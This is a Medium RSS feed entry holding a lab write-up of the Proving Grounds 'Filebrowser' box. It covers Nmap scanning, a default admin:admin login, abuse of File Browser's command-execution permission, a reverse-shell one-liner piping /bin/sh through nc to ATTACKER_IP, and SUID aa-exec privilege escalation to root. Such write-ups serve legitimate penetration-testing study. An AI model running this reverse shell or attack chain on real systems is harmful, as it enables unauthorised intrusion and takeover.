<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Robert Malagad on Medium]]></title>
        <description><![CDATA[Stories by Robert Malagad on Medium]]></description>
        <link>https://medium.com/@ece.nicko23?source=rss-05c099702051------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ZRJcZYHs8aPvC3oh</url>
            <title>Stories by Robert Malagad on Medium</title>
            <link>https://medium.com/@ece.nicko23?source=rss-05c099702051------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:36:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ece.nicko23/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds Practice: Filebrowser]]></title>
            <link>https://medium.com/@ece.nicko23/proving-grounds-filebrowser-58b030b7c7e5?source=rss-05c099702051------2</link>
            <guid isPermaLink="false">https://medium.com/p/58b030b7c7e5</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[file-browser]]></category>
            <dc:creator><![CDATA[Robert Malagad]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 19:18:19 GMT</pubDate>
            <atom:updated>2026-11-23T13:01:28.409Z</atom:updated>
            <content:encoded><![CDATA[<h3>Machine: Filebrowser</h3><p>This is my first time creating a medium story, i am starting to document every box i root so i can prepare for oscp exam and to improve on reporting.</p><p>First I scan the machine using Nmap:</p><h4>Nmap Scan</h4><blockquote># Nmap 7.991 scan initiated Sun Nov 22 13:22:18 2026 as: /usr/lib/nmap/nmap -p- — min-rate 600 -T4 -Pn -oN nmap.txt 192.168.204.176<br>Nmap scan report for 192.168.204.176<br>Host is up (0.051s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT STATE SERVICE<br>22/tcp open ssh<br>8080/tcp open http-proxy</blockquote><blockquote># Nmap done at Sun Nov 22 13:22:35 2026–1 IP address (1 host up) scanned in 16.73 seconds</blockquote><p><strong>Nmap Scipt Scan and Version Scan</strong></p><blockquote># Nmap 7.991 scan initiated Sun Nov 22 13:23:01 2026 as: /usr/lib/nmap/nmap -p22,8080 -sCV -oN nmapSCV.txt 192.168.204.176<br>Nmap scan report for 192.168.204.176<br>Host is up (0.054s latency).</blockquote><blockquote>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)<br>|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)<br>8080/tcp open http Golang net/http server<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: File Browser <br>| fingerprint-strings: <br>| FourOhFourRequest, GetRequest: <br>| HTTP/1.0 200 OK<br>| Cache-Control: no-cache, no-store, must-revalidate<br>| Content-Type: text/html; charset=utf-8<br>| X-Xss-Protection: 1; mode=block<br>| Date: Sun, 22 Nov 2026 18:23:08 GMT<br>| &lt;!doctype html&gt;<br>| &lt;html lang=”en”&gt;<br>| &lt;head&gt;<br>| &lt;meta charset=”utf-8&quot; /&gt;<br>| &lt;meta http-equiv=”X-UA-Compatible” content=”IE=edge” /&gt;<br>| &lt;meta<br>| name=”viewport”<br>| content=”width=device-width, initial-scale=1, user-scalable=no”<br>| &lt;title&gt;<br>| File Browser<br>| &lt;/title&gt;<br>| &lt;meta name=”robots” content=”noindex,nofollow” /&gt;<br>| &lt;link<br>| rel=”icon”<br>| type=”image/png”<br>| sizes=”32x32&quot;<br>| href=”/static/img/icons/favicon-32x32.png”<br>| &lt;link<br>| rel=”icon”<br>| type=”image/png”<br>| sizes=”16x16&quot;<br>| href=”/static/img/icons/favicon-16x16.png”<br>| &lt;! — Add to home screen for Android and modern mobile browsers →<br>| &lt;link<br>| rel=”manifest”<br>| id=”manifes<br>| HTTPOptions: <br>| HTTP/1.0 404 Not Found<br>| Cache-Control: no-cache, no-store, must-revalidate<br>| Content-Type: text/plain; charset=utf-8<br>| X-Content-Type-Options: nosniff<br>| Date: Sun, 22 Nov 2026 18:23:08 GMT<br>| Content-Length: 14<br>| Found<br>| RTSPRequest: <br>| HTTP/1.1 400 Bad Request<br>| Content-Type: text/plain; charset=utf-8<br>| Connection: close<br>|_ Request</blockquote><p>Browsing the HTTP Service at port 8080 shows a login page, I first tried admin:admin, and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwV52WKXShEyAt3xNpRedA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d0CQy3XaJz-aWlbaVytdCw.png" /><figcaption>tested admin:admin and it works</figcaption></figure><p>Searching an exploit since it shows that it is File Browser 2.32.0, i found CVE-2025–52903 — filebrowser Allows shell commands to Spawn other commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LrHu-_evNTkmJLfnP8B3yA.png" /><figcaption><a href="https://github.com/advisories/GHSA-3q2w-42mv-cph4">https://github.com/advisories/GHSA-3q2w-42mv-cph4</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jUG7XzcRaZ0Ngl8PXL0qxg.png" /><figcaption><a href="https://github.com/advisories/GHSA-3q2w-42mv-cph4">https://github.com/advisories/GHSA-3q2w-42mv-cph4</a></figcaption></figure><p>I created a new user david:david in the settings page with permission to Execute commands and allow <strong>grep ls find nc cat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SWa74caa7dmD6IfCTH1qnA.png" /></figure><p>I used the find command on the filebrowser shell to create reverse shell:<br><strong>find . -maxdepth 0 -exec /bin/sh -c “rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc ATTACKER_IP 4444 &gt;/tmp/f” \;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egFDgu_0G2_uc2wfRJOhOQ.png" /></figure><p>Catching the reverse shell on the kali listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*eyY8Bh4NVkioMcvr08WpZA.png" /></figure><p>I first tested if i have access to the root directory but no luck, so we need to do Privilege Escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*uXHUEQEHLc7BMP-ukamVgQ.png" /></figure><p>I tried my created david:david creds to check sudo -l but no luck, it is not the same with filebrowser david user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*GUzsrH8xDZ7puWaXUoyCBQ.png" /></figure><p>Next is Checking SUID Binaries: find / -perm -4000 -type f 2&gt;/dev/null</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*NPh6L6YC0YmtW1e_8nMZhg.png" /><figcaption>I found the aa-exec</figcaption></figure><p>Using aa-exec, gtfo bins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*MNtoaLNbdGYtVHsBwbFn_w.png" /></figure><p>Escalated to root and found the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*d1tkUHmjSqD7cJsAjjXpoQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58b030b7c7e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>